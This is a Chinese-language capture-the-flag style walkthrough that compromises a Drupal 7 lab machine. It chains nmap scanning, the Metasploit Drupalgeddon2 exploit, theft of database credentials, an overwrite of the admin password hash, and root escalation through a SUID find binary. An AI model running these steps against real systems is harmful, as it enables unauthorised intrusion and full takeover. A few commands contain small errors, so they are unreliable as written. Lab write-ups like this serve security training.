确定目标IP:
nmap -sP 192.168.11.1/24
发现目标机器
扫描开放的端口:
nmap -T4 -A -v 192.168.11.145
发现开放了一个80端口,并且给出了是Drupal的管理系统
浏览器访问这个服务:
因为这是一个Drupal的管理系统,那么我们搜索是否有这个漏洞
searchsploit Drupal 7
确实有,那么我们打开MSF开始渗透
MSF搜索这个漏洞:
search drupal
我们选这个最新的
use exploit/unix/webapp/drupal_drupalgeddon2
设置靶机运行的IP:
set rhosts 192.168.11.145
运行:
run
成功
我们进入shell界面:
shell
一番查找发现一个提示:
需要我们找配置文件
因为这个是Drupal 管理系统,我们直接在百度搜索就可以
得出配置文件路径,查看:
爆出了数据库名的用户和密码,那么接下来我们连接数据库,在此之前,我们先进入一个交互式界面,要不然什么也不显示:
python -c 'import pty;pty.spawn("/bin/bash")'
进入数据库:
mysql -u dbuser -p
密码是:R0ck3t
查看数据库:
show databases;
正好发现了一个我们之前获得的数据库名,那么,我们切换数据库
use drupaldb
查看表:
show tables;
查看所有用户:
select * from users;
发现管理员用户和密码,但是不知道密码是什么,在这里,采用密码替换
我们返回主目录,生成一个新的密码:
退出数据库:quit;
php scripts/password-hash.sh admin (这里的admin是我们自己填的密码)
生成了一个hash值,我们记下来:$S$DAXw8Lt2mT0aZUB2W1qyMsos9F49vP6xgVXWzX/jYSgxKThZpT.b
重新进入我们之前的数据库,将新的密码进行替换:
update users set pass="$S$DAXw8Lt2mT0aZUB2W1qyMsos9F49vP6xgVXWzX/jYSgxKThZpT.b" where name="admin";
成功。
接下来我们进行登录,返回之前我们打开的HTTP服务
账号:admin
密码:admin
登录成功。
一番查找,发现
让我们提权,得到root用户,那么返回我们的命令行,这里提权我们可以利用的是find
原因:若是对一些特殊命令设置了SUID,那么就会有被提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano、awk和cp等。
我们查看suid权限的可执行二进制程序:
find / -perm -4000 >/dev/null
那么我们试一下是否有权限,我们新建一个文件,然后进行命令执行
touch 666
find / -name 666 -exec "whoami" \;
显然,这里我们用find提权
直接获取root权限:
find / -name 666 -exec "bin/sh" \;
提权成功。